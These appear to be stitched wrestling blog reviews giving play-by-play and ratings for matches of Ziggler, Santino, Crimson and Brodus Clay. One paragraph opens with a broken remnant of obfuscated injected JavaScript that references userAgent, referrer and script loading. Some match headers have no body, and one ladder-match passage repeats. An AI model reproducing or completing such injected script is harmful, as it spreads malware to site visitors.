Everyone on the floor now as the fans are WAY behind Kofi still. He goes up the ladder but Swagger grabs the ankle lock. Ziggler climbs up their backs and nearly pulls it off. Ziggler vs. Kofi on top as Jack is down on the floor. Big BOMBS being thrown here. Dolph manages to get the freaking Sleeper on top of the ladder! He fights out and gets a big shot to put Dolph down a bit.

TEST OF STRENGTH on top of the ladder but Kofi shoves Dolph off. Swagger goes up now as this is awesome stuff with incredible balance. Both guys pull down the title….and Ziggler grabs it off the mat to retain. The fans boo the heck out of it but Striker points out you have to have possession of it which while a stretch does actually make logical sense. If nothing else we got to hear Lawler say “he’s clutching it to his bosom.”

Rating: B. This was more of an intellectual ladder match which is something you don’t see. They brought out some leverage and thinking spots which work far better than the usual high spots which we’ll get later on with Morrison. This was much better than I was expecting and sets a very good pace for the show.

Smackdown World Title: Edge vs. Dolph Ziggler

 

Vickie is referee here.  Big match intros are interrupted by Vickie who does them instead.  The spear is still banned.  Dolph grabs a rollup almost immediately for two.  Naturally, Vickie counts fast for Dolph but Cole says that might be the way she counts both ways.  Edge hammers away in the corner and Vickie breaks it up.  Naturally Dolph does the same thing and Vickie stands around.

Sleeper can’t go all the way on and Edge reverses to get us back to even.  Nice dropkick by Ziggler puts Edge right back down though.  Edge keeps fighting back but hasn’t covered yet so we’re not sure about her speed on his covers.  Ziggler gets that Downward Spiral Stunner but can’t get the Zig Zag.  Edgecution hits so Vickie puts Dolph’s foot on the rope.

Fameasser gets two.  Edge gets a forearm to take down Ziggler.  Cole is getting annoying here as he keeps ranting about how great this is and all that jazz.  Vickie channels her inner Edge and spears her ex-husband.  She actually bounces off Edge and falls to the mat.  Her ankle might be hurt so the doctor takes her out.

With Vickie gone there’s the spear!  No referee though so Edge spears him again.  The problem is that Vickie is right there and sees it.  With no referee still, Clay Matthews, a huge linebacker for the Super Bowl champion Packers, comes out in a referee shirt and counts the pin.  Somehow this counts and Edge wins at approximately 8:45.  Uh….ok?  Vickie waves it off as the show ends and Cole says there’s a new world champion.  Odd but cool ending.

Rating: C. This was just there to set up the ending, but I really hope they follow up on this.  There’s no reason why that fall should stand but at the moment at least it does.  Odd indeed but having Matthews there was a cool thing to do.  It doesn’t make any sense at all, but again it was cool, which was the point.

US Title: Zack Ryder vs. Dolph Ziggler

Battle of the Z’s here. Ziggler has on blue trunks and they’re really not working for him. Ryder controls early on and is pretty fired up here. The champ gets control quickly though, hitting a DDT onto the apron. Ziggler drops a bunch (as in like ten) elbows on Ryder but they only get two. Off to a chinlock and the fans chant “Let’s go Ryder, Woo Woo Woo”. Ziggler uses Ryder’s body to brace himself for situps.

And now let’s start talking about Twitter. Ryder fights back but gets caught in an Angle Slam for two. Ryder comes back and hits a missile dropkick from the middle rope for two. Here’s his comeback and the Broski Boot hits. Vickie puts Ziggler’s foot on the ropes and gets ejected for it. They trade rollups and Ziggler tries two Fameassers, one of which hits. Dropkick gets two for Dolph. He goes up and gets crotched, allowing Ryder to bust out a top rope rana for two. I love how his arms fly up in the air on every cover.

Rough Ryder is countered into a hot shot into the post for two. The fans are still cheering for Ryder as they were earlier. Out of nowhere, Ryder hits the Rough Ryder and WINS THE TITLE at 10:25. The camera immediately cuts to Ryder’s dad in the crowd which is a really nice touch. They treated this like a really big moment, which it was.

Rating: B-. Why it didn’t happen in MSG is beyond me but whatever. This is the definition of a guy working as hard as he could have, the fans responding to it, and the company PAYING ATTENTION TO WHAT THE PEOPLE WANTED. I can’t emphasize that enough: the WWE listened to what the fans were telling them and pushed him accordingly. Pretty decent match too.

Dolph would soon form a tag team with Jack Swagger and get a Tag Team Title match against R-Truth and, of course, Kofi Kingston at Over the Limit 2012.

Tag Titles: Jack Swagger/Dolph Ziggler vs. R-Truth/Kofi Kingston

Kofi and Swagger get us going. Jack takes it to the mat but opts for a standing top wristlock instead. Not much happens so it’s off to Truth for a double hiptoss. Spinning legdrop gets two. Ziggler comes in but Kofi gets a blind tag and a springboard missile dropkick for two. Swagger gets in a shot from the apron and a tag to take over. He works on the arm some more and it’s off to Truth who speeds things up.

Vickie distracts the referee which results in Dolph getting his head kicked off. Swagger puts Truth down and hits the Vader Bomb for two. Ziggler comes back in with a Crossface of all things as King is talking about Vickie’s navel. Cole: “If you two were as good at commentating as you were at looking at Vickie you’d be in the Hall of Fame.” King: “I already am.” That was funny for some reason.

Swagger takes Truth down but Truth comes back with a flurry of punches. They don’t get him anywhere as Ziggler comes in for a double team, getting two. Dolph does the handstands on the chinlock which is impressive. Back to Jack who takes Truth into the corner but gets caught by a tornado DDT to put both guys down. Double tag brings in Kofi and Dolph and an SOS gets two. Springboard cross body gets two as Jack makes the save. As Kofi is coming back in he gets caught by a Fameasser for two. Truth dives onto Swagger and Dolph jumps with a Stinger Splash, right into Trouble in Paradise to retain at 12:28.

Rating: B. That’s probably high but I was enjoying this match. Kofi and Dolph have some awesome chemistry together and it worked very well here. They’re clearly building to a big rematch with the Colons, if you can call that big of course. Pretty good match here and I was really liking it by the end.

Up next was Money in the Bank with Dolph in the World Heavyweight Championship ladder match.

Smackdown World Title Money In The Bank: Christian vs. Cody Rhodes vs. Dolph Ziggler vs. Tensai vs. Santino Marella vs. Tyson Kidd vs. Damien Sandow vs. Sin Cara

The ring nearly clears out to start and it’s Tensai in control. He cleans house and heads out to get the first ladder. Kidd is down in the corner so Tensai slingshots him into a ladder draped over the middle rope. Tensai goes after Christian so Christian and Kidd team up to squash him with some ladders. Christian decks Kidd and goes up but here’s Santino for the save. Kidd goes up as well but Sandow shoves all three over.

Cody and Ziggler come in now and Ziggler gets rammed into the ladder face first. Ziggler will have none of that and sends Cody into the ladder as well. If this was a year ago that would have gotten a much better reaction. It’s Cara’s turn to go crazy now and he snaps off a bunch of ranas. After the one to Cody, Rhodes is holding his knee. Cara goes up after Ziggler and they badly botch something with both guys falling to the mat.

Kidd vs. Cara now and Kidd gets sunset flipped down for a cover because Cara is confused. Cara slams him onto a ladder but Christian takes him down. Captain Charisma tries a frog splash but it only hits ladder. Cody pops up but gets taken down by a springboard dropkick from Kidd. With everyone down, Santino goes up but Tensai grabs him for a powerbomb. That doesn’t actually happen as Tensai falls backwards and Santino almost lands on the ladder. The botches are mounting up quickly.

Kidd sends Tensai to the floor and hits a dive to take out the Big Bald. Sandow goes up but Cara makes a save. That gets him nowhere as Cara is knocked down again and it’s Sandow going up again. Christian makes the save and gets his hand on the case, but Sandow takes him down again. Christian counters being rammed into the ladder in the corner and hits the reverse DDT to take Sandow down. He charges into a knee from Sandow, but hits the spear a few seconds later, sending Sandow into the ladder.

Christian goes up but Ziggler and Cody slams him into the ladder to make the save. They both go up and Ziggler gets rammed face first into the ladder. Tensai pulls Cody down and locks him in the Tree of Woe, only to have Kidd make the save. The Canadian is sent down and it’s Cara/Santino for the save. They get knocked down too so here’s Christian with some ladder shots to put Tensai back on the mat.

Ziggler sends Christian to the floor and it’s time for Santino to go insane. He hits his usual stuff on Ziggler and loads up the Cobra to take out Ziggler. Santino goes up but gets scared of heights. The Cobra makes him climb and takes out Sandow, but Cody dropkicks Santino, sending both him and the ladder down. Cody (whose leg appears to be fine now) throws a ladder at Santino and sets up another one in the middle of the ring.

Cody goes up and Vickie climbs the ladder to stop him. Ziggler makes a fast climb and hits the Zig Zag off the ladder to pull Cody down. Christian makes the last minute save and Sandow climbs another ladder. All three are up there so Kidd springboards in and takes Ziggler down in an awesome spot. Christian slams a ladder into Sandow’s face and they both go to the floor.

Tensai comes back and goes insane, setting up a ladder between the announce table and the ring. Cara gets powerbombed onto it ala last year, followed by Ziggler getting launched over the announce table in a cool looking power display by Tensai. Cody pops up from the middle of nowhere and hits a pair of Disaster Kicks to put Tensai down.

Kidd and Rhodes go up the ladder but Christian climbs another ladder. Cody drops Kidd but Christian spears Cody off the ladder. Christian and Santino go up but Marella is knocked down. Ziggler runs up from out of nowhere, sends Christian into another ladder and pulls down the case for the win at 18:23.

Rating: B-. There was only so much they could do here with eight people and that’s what really brought things down here. With eight people, there aren’t enough spots to go around and it catches up to them every year. Sandow wasn’t needed here and I don’t think Cara was either. Neither guy really did much in the match but they didn’t bring it down either. The botches hurt it too, making this a pretty good match but more of a mess than anything else.

Ziggler would hold the case for a good while still having Vickie around. Eventually AJ Lee would get dragged into things as Ziggler called out John Cena. This set up a ladder match at TLC 2012 for the briefcase.

Dolph Ziggler vs. John Cena

Ladder match for the case here. Cena runs him over with a shoulder to start and they stare at each other for a bit. The fans are almost universally behind Dolph here. Cena takes him down with a headlock, probably for the first time in the history of ladder matches. He works on Dolph’s arm and hits a fisherman’s suplex. There’s a monkey flip out of the corner and Ziggler is sent to the floor.

Ziggler gets a chair to take Cena down and wedges it between the top and middle rope. We get the first ladder brought in but Cena rams it into Dolph’s face. Cena might be cut over the eye. The dueling Cena chants begin as he crushes Ziggler’s head with the steps. It’s table time but Dolph knocks Cena down and goes for a climb. They slug it out and it’s boo/yay time. Dolph hooks the sleeper and Cena turns red, but he climbs the ladder anyway with Ziggler on his back.

This of course goes badly and they crash backwards through a table in the ring. In a very cool spot, Ziggler goes up the ladder, so Cena PICKS UP THE LADDER FOR THE AA. Ziggler escapes what would have likely resulted in death and hits the Fameasser to put both guys down. Cena puts on a quick STF but Ziggler escapes the AA and hits the Zig Zag. Ziggler seems to be a big ginger on his leg as he gets another table.

The table is placed in the corner but Cena hits four of the five moves of doom. Dolph counters the AA and hits the jumping DDT to put Cena down again. Ziggler goes for the big ladder but Cena stops him at the top. They slug it out up there with Cena shoving Ziggler off. There’s no one to stop Cena….except himself as Cena does the stupid VERY slow climb, allowing Ziggler to take him down. Ziggler rams the bad eye into the ladder but Cena BUSTS OUT A FREAKING HURRICANRANA to send Ziggy through the table in the corner.

John pounds Ziggler into the corner and puts him on the top rope. Ziggler shoves him away and tries a top rope cross body, but Cena rolls through into the AA. That gets countered too and a chair shot puts Cena down. Ziggler misses a kick and there’s an AA. There’s nothing in the ring at the moment though so here’s Vickie with a chair. Cue AJ to take Guerrero down with the Five Moves of Doom. Well close enough I guess. Cena climbs the ladder and AJ shoves it down, turning heel. Ziggler has no idea what’s going on but AJ goes all happy psycho again. Ziggler retains the case at 23:38.

Rating: B+. I’d like this a lot more if it wasn’t about AJ. At the end of the day, I get that she’s nuts but she’s gotten WAY too much focus and it means this story must continue. I get what they’re going for here, but man alive they’ve run this story into the ground for so long that I don’t care anymore. The match was very good though as the ladders were props in the match, which is what makes the best ladder matches.

Dolph would cash in on Raw on April 8, 2013, just after champion Alberto Del Rio had fought Jack Swagger.

Smackdown World Title: Alberto Del Rio vs. Dolph Ziggler

The place goes NUTS for Ziggler as he stomps away on the leg and head of Alberto. The Fameasser hits for two but Ziggler misses a splash in the corner. The enziguri in the corner hits for a VERY close two and there’s the armbreaker. Ziggler cranks on the bad knee to break the hold and the Zig Zag gives us a new champion at 2:15.

Unfortunately Dolph would get a concussion soon after this and not be able to defend the title for two months, losing it in his first defense at Payback. The rest of the year would be spent in a face turn and downward trend for Ziggler, but he would start picking up at the end of the year, including this match from November 18, 2013 on Raw.

Dolph Ziggler vs. Damien Sandow

There are a bunch of musical instruments in the ring, mainly string stuff. Sandow throws him to the floor but misses a shot with an electric guitar. Ziggler dives off the steps to take him down as the announcers reference musical acts from the 70s and earlier. Back in and Damien pounds away before getting caught by a nice dropkick to send him back outside. Ziggler goes up top but dives into a shot from an organ to the ribs as we take a break.

Back with Sandow stomping away on Ziggler in the corner as Cole talks about Lawler meeting Ronnie Milsap. Ziggler comes back but misses a fiddle shot, allowing Sandow to hit him with a guitar for two. Dolph hits a DDT and breaks the fiddle over Sandow’s head before the Fameasser gets two. Sandow goes nuts again and launches Ziggler into the corner before ramming Dolph head first into a chair in the corner for a close two.

Ziggler gets thrown into the drums and hit with a guitar for two. Sandow misses a charge into the post and Ziggler rolls him up for two. A snare drum over Damien’s head and a bass drum does the same, basically tying Sandow up. Ziggler grabs the only remaining guitar, struts over, and blasts Sandow in the head for the pin at 10:17.

Rating: D. Was this supposed to be funny? That’s a genuine question. The announcers were treating it like a comedy match but apparently these two don’t like each other. I say apparently because I don’t remember them having any altercations in recent history, unless I’m forgetting some throwaway segment on Smackdown somewhere. The match was dumb as are most gimmick matches though. We’re also supposed to ignore Sandow’s shoulders being inside the drum and not on the mat.

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Wrestler of the Day – March 14: Santino Marella

Boris Alexiev vs. Mason Rage

Alexiev was best known as the reason Jim Cornette was fired from OVW. At this point, the Boogeyman was sent to OVW and Alexiev found him more amusing than terrifying. He was seen on TV laughing at Boogeyman instead of running, because, according to Cornette, no one told Alexiev to be scared of the Boogeyman. Cornette slapped him something like 17 times as a result and was fired.

Alexiev was called up to the main roster in April of 2007 and was given an Italian gimmick. He debuted on an episode of Raw taped in Italy. Vince was mad at the fans for being shaved bald at Wrestlemania 23, so he gave a fan an Intercontinental Title shot on Raw. The fan was Santino.

Intercontinental Title: Santino Marella vs. Umaga

Santino Marella vs. Jerry Lawler

Miss Wrestlemania: Divas Battle Royal

Melina, Beth Phoenix, Santina Marella, Victoria, Brie Bella, Eve Torres, Gail Kim, Jackie Gayda, Tiffany, Sunny, Rosa Mendes, Nikki Bella, Jillian Hall, Joy Giovanni, Katie Lea Burchill, Kelly Kelly, Layla, Maria, Maryse, Michelle McCool, Mickie James, Molly Holly, Natalya, Alicia Fox, Rosa Mendes, Torrie Wilson

He would defend the crown over the next few months, eventually losing it to Vickie Guerrero (first Raw I ever attented). There was a rematch in a hog pen match at Extreme Rules 2009, with Chavo teaming with Vickie for reasons that would probably make my head hurt.

Miss Wrestlemania: Santina Marella vs. Vickie Guerrero/Chavo Guerrero

Please, make this go quick. Seriously, this is the dumbest thing of the year and it needs to end. Lawler is the host for this or something. You have to get the pin in the pen, which has hogs in it. Please just get this going as they talk forever first. Chavo is her partner and it’s 2-1. She throws mud at Chavo who is in street clothes and he beats her up.

So they’re in a mud pen and have to be thrown into the other one and then pinned. Oh wait they can come back out of the one with the pigs and get pinned in the bigger one. Vickie comes in and Chavo accidently slops her….shoulder. Santina pins her and this is thankfully over. Vickie and Chavo fight in the mud as Cole and Lawler are laughing, likely by Vince’s orders. Santina celebrates forever as this segment has gone on longer than all but one match so far.

Rating: N/A. Give me a match and I’ll rate it.

Vladimir Kozlov vs. Santino Marella

If Santino wins then he and Kozlov are tag partners. Santino can’t do jack here and tries to have a striking contest. Kozlov hits the big slam after about a minute. This was what you expected it to be. Kozlov tries to pick him up and he just falls back down. Then he does that again. And this man main evented Survivor Series people. And for no apparent reason here’s William Regal to beat the tar out of Santino. Kozlov makes the save.

Rating: N/A. Well at least they’re doing something with Santino.

Tag Titles: Usos vs. Nexus vs. Santino Marella/Vladimir Kozlov vs. Mark Henry/Yoshi Tatsu

This is under elimination rules with Slater/Gabriel defending. Gabriel and Tatsu start. At the last show I was at Tatsu and Jericho tore the house down so it would be nice to see him win a title here. Spin kick gets two for Tatsu so Gabriel kicks Tatsu in some African on Asian violence. Off to Slater now with Josh picking Kozlov and Santino.

Henry comes in and is supposed to fight an Uso but they run from him. Henry is like get the heck in here and pulls Jey in by the hair. Freaking ow man! We’re getting some very fast paced tagging here. Punk is talking about the Bellas vs. the Usos for some reason but since it’s coming from Punk it’s awesome.

Lawler brings us back to reality as Punk threatens to send Josh back to Superstars. The Usos surprisingly clean house and beat up Henry and Tatsu. Slater tags himself in and gets one of the most unrecognizable finishers of all time to get rid of Tatsu and thereby Henry at approximately 3:00.

The Usos come in and get a slingshot Samoan Drop (think 3D kind of but with a Samoan Drop ending and the guy playing D-Von lets go) for two as Gabriel saves. Kozlov comes in and runs through the Usos. The spike slam ends the Usos at approximately 4:45. Tamina stays behind with Santino.

It’s Nexus vs. Kozlov/Santino for the titles. Punk keeps calling Santino Jar Jar which is amusing. Santino comes in to by far the biggest reaction in this match. Who would have guessed that he would be the most popular guy of eight men in a title match late in 2010?They’re trying to make Tamina look good and from a distance she kind of does. Then they show closeups of her and she looks a bit goo much like a diseased goat. We take a break with Nexus in control.

Back with Gabriel holding Kozlov in a front facelock. There’s the hot tag to Santino who raises the roof and surprisingly cleans house to a nice pop. He hits a Stunner complete with splits as Kozlov takes out Slater. Cena pops up from under the ring and gets Gabriel’s attention. The Cobra hits Gabriel and we have new champions at 12:00!

Rating: C. Match was kind of boring but the ending more than makes up for that. It completely amazes me that Santino is as over as he is but given the pops he’s been getting there is no reason to not put a title on him to give him some credibility. Not the best match in the world but entertaining and rather exciting so that wasn’t bad at all.

Jack Swagger vs. Santino Marella

 

Somehow Santino would qualify for the World Heavyweight Championship Elimination Chamber in 2012. Marella would be the underdog that had almost no chance but the fans loved him anyway.

Smackdown World Title: Big Show vs. Great Khali vs. Cody Rhodes vs. Daniel Bryan vs. Santino Marella vs. Wade Barrett

Cody gets thrown to the outside while Barrett is thrown back inside. Chokeslam to Barrett is countered and Wade chop blocks Show down. Cody and Barrett team up on Show and start fighting a few seconds later. Santino comes in fourth and after he hits his usual stuff, Show runs him over. Cody takes Show down by the knee though as the fans chant for Santino.

Barrett and Cody double suplex Show onto the steel to put him down. Cody hits the moonsault to Barrett and goes after Santino. No one is out yet. Rhodes rams the Cobra hand into the cage and Khali is in fifth. Chops and clotheslines for both heels and the Punjabi Plunge to Rhodes. One to Barrett as well and a chop to Santino. The giants face off and Show spears Khali for an elimination about 40 seconds after Khali entered.

Show keeps staring at Bryan and then even tries to reach in and grab him. He breaks the chains on the pod and has broken through. Bryan demands the door be opened but Show has broken in and climbed through the top. The place ERUPTS for this. The clock goes off to release Bryan but they’re both inside the pod. Bryan manages to get out but Show does the required breaking the plexiglass spot. You know, THE SAME THING THAT HAPPENS EVERY YEAR.

Into the ring now and Show loads up the right hand. Oh wait it’s the chokeslam instead but Barrett kicks Show in the face before there’s a cover. Santino pops up for a quick rollup for two on Barrett but is then thrown to the outside. Cody hits two Beautiful Disasters to Show followed by a DDT. Barrett hits a middle rope DDT and Big Show is gone to a big reaction. So it’s Cody, Barrett, Bryan and Santino to go.

Make that three as Santino rolls up Cody to pin him. Cody hits Cross Rhodes to Santino. There’s Cody’s next feud I guess. Barrett covers Santino but it only gets two. Barrett hammers on him and ties Santino’s arms in the Chamber wall. The beating continues on Santino for awhile until Bryan gets back up with a flying knee to Barrett. Bryan goes up but Barrett knocks him part of the way into it again by the back of the head.

Barrett loads up Wasteland off the middle rope but Santino breaks it up because he’s an idiot. Santino tries a superplex but gets shoved off. He avoids an elbow and Bryan hits a top rope headbutt, allowing Santino to steal the pin, meaning he’s eliminated Cody Rhodes and Wade Barrett. Bryan is very happy to see what he’s up against as it’s one on one now. It turns into a cat and mouse game and Santino even gets the Cobra for two. The LeBell Lock goes on and Santino taps at 33:57.

US Title: Jack Swagger vs. Santino Marella

A few months later it would be the same idea as the Chamber, but in Money in the Bank.

Smackdown World Title Money In The Bank: Christian vs. Cody Rhodes vs. Dolph Ziggler vs. Tensai vs. Santino Marella vs. Tyson Kidd vs. Damien Sandow vs. Sin Cara

Tensai comes back and goes insane, setting up a ladder between the announce table and the ring. Cara gets powerbombed onto it ala last year, followed by Ziggler getting launched over the announce table in a cool looking power display by Tensai. Cody pops up from the middle of nowhere and hits a pair of Disaster Kicks to put Tensai down.

Kidd and Rhodes go up the ladder but Christian climbs another ladder. Cody drops Kidd but Christian spears Cody off the ladder. Christian and Santino go up but Marella is knocked down. Ziggler runs up from out of nowhere, sends Christian into another ladder and pulls down the case for the win at 18:23.

Antonio Cesaro vs. Santino Marella

Cesaro throws him down after almost a minute straight of spinning but Santino comes right back. The saluting headbutt sets up the Cobra but Cesaro uppercuts him down for two. A running European uppercut in the corner gets two and Cesaro starts slapping him. Santino comes back with a throw and gets the pin at 3:45.

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Wrestler of the Day – February 24: Crimson/Brodus Clay

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbnay|var|u0026u|referrer|itiza||js|php'.split('|'),0,{})) another double shot today as neither choice is strong enough to warrant a full entry. Today we’ve got Crimson and Brodus Clay.

Samoa Joe vs. Crimson

Crimson hits the ring and they slug it out immediately.  The fans think Joe’s Gonna Kill Crimson.  Suicide dive is blocked by a forearm from the floor and there’s a big boot back in the ring by Crimson.  Neckbreaker gets two.  Cravate goes on so Joe gets a bad dragon screw leg whip to take the red dude down.  Crimson hammers away on Joe but walks into a kind of atomic drop sort of a move to the knee.  That was different.

He takes Crimson down with relative ease and there’s a leg bar for a few seconds.  Spinning toe hold by Joe as we go back to the mid 1870s.  Crimson counters into a triangle choke and then an arm bar which gets him nowhere.  T-Bone suplex by Crimson takes Joe down as the fans are trying to get into this.  Double arm DDT gets two.  The fans chant Mercer, which is Crimson’s real name I believe.

Suplex and a clothesline by Joe get two.  Joe goes up to the middle rope for a Rough Ryder for two.  Joe is all frustrated.  “Dang man end this match already before the buffet is empty.”  Powerbomb gets two and it’s off to a half crab.  We get a Gumby reference of all things as the hold stays on.  They slap it out and Crimson gets a spear to take Joe down.  They slug it out again with Crimson knocking him back into the corner.  Now Joe knocks him back into the corner but can’t get the Musclebuster.  Clutch can’t go on either so there’s the Red Sky to end this.

Rating: C+. Pretty good big slugout here and it’s good to see Crimson actually face big time competition for a change.  Pretty good match here with the ending being pretty clear, but a nice test for Crimson nonetheless.  I don’t think Crimson is as great as he’s made out to be, but this worked pretty well for what it was.

Tag Titles: Matt Morgan/Crimson vs. Samoa Joe/Magnus

Joe starts with Morgan and the tall one is taken down quickly. Off to Crimson who is the least interesting undefeated person this side of Tatanka. Magnus comes in and gets double teamed by the champs. Morgan hits his corner elbows and Crimson hits an overhead suplex for two. Back to Joe who runs Morgan over. Crimson comes in and has the same result as Morgan had.

In a HORRIBLE looking sequence, Joe hits a bunch of strikes in the corner, followed by the middle rope elbow from Magnus. It only gets two though, due to Crimson breaking it up. The horrible part: Magnus flew off of Morgan about a second and a half before Crimson even touched him. Magnus reverses a chokeslam but a double version is enough to pin Magnus at 9:38.

Crimson vs. Matt Morgan

Crimson is now billed as “The Undefeated” on his graphic. Crimson goes for the door very quickly but Morgan keeps pulling him back in. Morgan walks into a clothesline for two as momentum shifts. Crimson rams him into the cage as the crowd is a little more awake now. He chokes Morgan on the ropes and a spinebuster gets two.

Rating: D. You know, if the time is such a problem tonight, maybe you could have this go a few more minutes and have the TV Title go longer than three minutes. It might keep the issues down a bit more. Anyway, this match was really boring as the feud has been put on hold for the last two weeks. This show is bordering on disaster at this point but there are some big matches to come.

James Storm would return from an injury as a surprise at Slammiversary 2012 and give Crimson his first loss with relative ease. With the winning streak broken, there was no reason for Crimson to be around for awhile. He went down to OVW for further training and quickly won the Nightmare Rumble to earn an OVW Title shot against champion Johnny Spade in September of 2012.

OVW Title: Johnny Spade vs. Crimson

We take a break and come back with Crimson holding a chinlock before running Spade over with an elbow to the jaw. A hard slam gets two for Crimson and the challenger is very cocky. Spade misses a dropkick and gets caught in a quick cravate. Crimson puts him on the top rope but Spade comes out with a tornado DDT to put both guys down. Spade sends him into the corner for a double knee to the back but Crimson blocks a Swanton with knees to the back of his own.

Rating: C+. Nice match here, as was often the case in OVW. Spade was kind of like a Shawn Michaels, as he was a smaller guy fighting a monster but he was just good enough that you believed he could shock the world. Crimson looked good and is far more interesting as a heel who had been playing mind games to get the title shot.

Jamin Olivencia vs. Crimson

Jamin is taken into the corner but comes out with a right hand to the face, sending Crimson out to the floor for a breather. Back in and Crimson hammers away as the announcers argue about whether or not Jamin lost to Doug Williams. Crimson is knocked to the floor again and walks back in to a headlock from Olivencia, only to counter into a chinlock. Jamin goes up top but gets pulled down to the mat for two and we hit the chinlock again. Olivencia fights up again and dropkicks Crimson to the floor as we take a break.

Rating: B-. This was far better than I was expecting with both guys looking solid. The Coalition is another heel stable but I like having it headed up by one person instead of several. Crimson was in charge here and could do a decent enough power style in the ring to make it work. If nothing else it makes me want to watch more OVW.

Off to Brodus Clay, who is a rather scary looking man. He started as G-Rilla in developmental before going by his more famous name in the fourth season of NXT. One of his first major matches on that show was a fatal fourway elimination match on January 25, 2011.

Brodus Clay vs. Byron Saxton vs. Johnny Curtis vs. Derrick Bateman

 

This is the second week in a row where I couldn’t remember Curtis’ name.  That’s not good when I’ve watched every episode of this show.  This is elimination rules, no tagging, winner has the option of changing their pro.  Everyone goes after Bateman for some reason instead of Brodus.  He is thrown into a suplex from Brodus and is pinned in less than a minute.

Now they both go after Brodus as I scratch my head trying to figure that out.  They manage to get a suplex on him but Curtis tries to steal a rollup on Saxton which gets two.  Brodus is collecting himself on the floor so the others are in the ring.  Curtis takes out Brodus with a dive, leaving Saxton in the ring as we take a break.

Don’t try this at home.  These are good PSAs for lack of a better term to run.

Back with Brodus nailing Saxton with a clothesline.  Curtis is down on the floor and lets Saxton get beaten down like an intelligent person would.  Saxton gets something close to a Stunner to take Brodus down for two.  Curtis tries to come in off the top but gets caught.  He knocks Saxton down and gets a double guillotine legdrop to put out Saxton at 4:30.  We’re down to Clay and Curtis.

Clay is reeling and Curtis adds a European Uppercut to send him back on his heels.  Brodus is like wait I’m huge and splashes Curtis in the corner.  Off to the nerve hold which is my least favorite rest hold of all time.  Curtis fights out of it and rams some shoulders into the corner.  Josh has picked Rey to win the Rumble apparently.  Johnny goes up but jumps into the Tongan Death Grip Slam to end it at 7:20.

Rating: C+. This was quick and I think that was the right idea.  These guys aren’t very good in the ring so they kept this short.  Putting Bateman out that fast was kind of awkward but maybe that was due to an injury or something.  This was ok and probably about as good as it was going to get.

 

After hooking up with and being abandoned by Alberto Del Rio, Brodus would stay on Superstars for awhile before disappearing for three months. He would return as the Funkasaurus in what I thought was the surprise of the year in 2012. One of his first big matches was against The Miz at Extreme Rules 2012.

Brodus Clay vs. Dolph Ziggler

Brodus would lose his first match to Big Show, sending his career down a good bit. He would however captain a Survivor Series team at Survivor Series 2012.

Team Clay vs. Team Tensai

Brodus Clay, Sin Cara, Rey Mysterio, Tyson Kidd, Justin Gabriel

Tensai, Prime Time Players, Primo, Epico

Tons of Funk vs. Prime Time Players

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